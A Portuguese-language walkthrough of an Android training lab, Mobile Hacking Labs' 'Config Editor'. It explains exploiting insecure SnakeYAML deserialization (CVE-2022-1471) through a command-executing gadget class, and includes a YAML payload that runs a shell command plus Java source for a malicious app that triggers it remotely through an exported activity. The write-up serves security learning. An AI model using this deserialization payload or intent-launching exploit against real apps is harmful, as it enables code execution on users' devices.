[MHL] Config Editor - Insecure Deserialization com SnakeYAML
Introdução
Nesse Write Up eu descrevo a minha solução para o Config Editor, da Mobile Hacking Labs, um laboratório Android para praticar a exploração de componentes terceiros vulneráveis.

Índice
- O App
- A Vulnerabilidade: Deserialização Insegura do SnakeYaml
- Criando o Exploit
- Construindo um App Malicioso
O App
O app em questão é bastante simples e tem uma única activity que permite ao usuário escrever um conteúdo YAML e salvar como um arquivo ou carregar o conteúdo de um arquivo YAML para o app. Para testar as funcionalidades, um arquivo básico test.yaml foi enviado para o Android Virtual Device (AVD) e carregado no app manualmente.

A Vulnerabilidade: Deserialização Insegura do SnakeYaml
Após realizar a engenharia reversa e ler parte do código da MainActivity, identifiquei o caminho desde a função onCreate() até a função responsável por carregar o arquivo YAML.
package com.mobilehackinglab.configeditor;
// import ...
import org.yaml.snakeyaml.DumperOptions;
import org.yaml.snakeyaml.Yaml;
// ...
@Override
protected void onCreate(Bundle savedInstanceState) {
// Setup code...
handleIntent();
}
private final void handleIntent() {
Intent intent = getIntent();
String action = intent.getAction();
Uri data = intent.getData();
if (Intrinsics.areEqual("android.intent.action.VIEW", action) && data != null) {
CopyUtil.INSTANCE.copyFileFromUri(data).observe(this, new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1<Uri, Unit>() {
// invoke1() code...
public final void invoke2(Uri uri) {
MainActivity mainActivity = MainActivity.this;
Intrinsics.checkNotNull(uri);
mainActivity.loadYaml(uri);
}
}));
}
}
public final void loadYaml(Uri uri) {
try {
// File handling code...
Yaml yaml = new Yaml($this$loadYaml_u24lambda_u249_u24lambda_u248);
Object deserializedData = yaml.load(inputStream);
// More code...
} catch (Exception e) {
Log.e(TAG, "Error loading YAML: " + uri, e);
}
}
Como o código e o app são realmente pequenos e o desafio é sobre componentes terceiros vulneráveis, a vulnerabilidade não é difícil de identificar. A primeira coisa a ser notada é que o app importa algumas classes do pacote org.yaml.snakeyaml, essas classes são usadas para carregar e analisar o yaml, especialmente na função loadYaml() usando o método yaml.load() da classe org.yaml.snakeyaml.Yaml.
Lendo sobre a biblioteca SnakeYaml encontrei um artigo no blog da Snyk detalhando a CVE-2022-1471, uma vulnerabilidade de Deserialização Insegura no construtor do SnakeYaml que permite uma unrestricted class instantiation e, em alguns cenários, levando também a uma Execução Remota de Código. A vulnerabilidade acontece porque o parser permite especificar classes Java em YAML usando a sintaxe !! seguida pelo parâmetro do construtor. Por exemplo, se eu quero instanciar MyCustomClass do pacote me.regne e passar "myParam1" como parâmetro string do construtor, o seguinte YAML poderia ser utilizada:
!!me.regne.MyCustomClass ["myParam1"]
Criando o Exploit
Como a vulnerabilidade é uma deserialização insegura, uma classe gadget é necessária para escalar a vulnerabilidade, mas, convenientemente, o app contém uma classe customizada que pode ser aproveitada para exploração.
@Deprecated(level = DeprecationLevel.ERROR, message = "Command Util is unsafe and should not be used")
public final class LegacyCommandUtil {
public LegacyCommandUtil(String command) {
Intrinsics.checkNotNullParameter(command, "command");
Runtime.getRuntime().exec(command);
}
}
Note que a classe tem anotação
Deprecatedcom um comentário que a classe é insegura e não deveria ser usada, mas na verdade isso não impede que ela seja instanciada.
A classe apresentada é um gadget perfeito para alcançar a Execução Remota de Código desejada, já que o construtor recebe uma string e a executa passando-a para Runtime.getRuntime().exec() permitindo que a instanciação da classe seja escalada.
!!com.mobilehackinglab.configeditor.LegacyCommandUtil [
"touch /data/data/com.mobilehackinglab.configeditor/files/poc.txt",
]
Após criar o arquivo yaml com o payload e carregá-lo no app, o arquivo poc.txt foi criado no armazenamento interno do app pelo usuário u0_a229, atribuído ao App "Config Editor" pelo Sistema Android, provando que a prova de conceito funcionou.

Construindo um App Malicioso
Como o código vulnerável é acessível de uma activity exportada, e a função handleIntent nos permite passar uma Uri com o arquivo yaml, podemos ir mais fundo neste exploit e criar uma aplicação maliciosa para explorar a vulnerabilidade.
<activity
android:name="com.mobilehackinglab.configeditor.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="file"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:mimeType="application/yaml"/>
</intent-filter>
</activity>
O app malicioso tem um código simples que inicia a activity vulnerável do app alvo passando um intent data com a Uri apontando para arquivo YAML com o payload.
package exploit.configeditor;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent(Intent.ACTION_VIEW);
String payloadUri = "https://raw.githubusercontent.com/luca-regne/mobilehackinglabs-solves/refs/heads/main/ConfigEditor/exploit.yaml";
intent.setData(Uri.parse(payloadUri));
intent.setClassName("com.mobilehackinglab.configeditor",
"com.mobilehackinglab.configeditor.MainActivity");
startActivity(intent);
Log.d("ConfigEditorExploit", "Exploit sent.");
}
}
Aqui está o código fonte do app exploit.
Executando este código, o app vulnerável irá iniciar carregando o YAML malicioso, disparando a deserialização insegura e criando um arquivo "poc.txt" no armazenamento interno do app. 😊
Espero que tenham gostado deste write up e aprendido algo novo. Até mais, e lembrem-se: hack all the things! 👾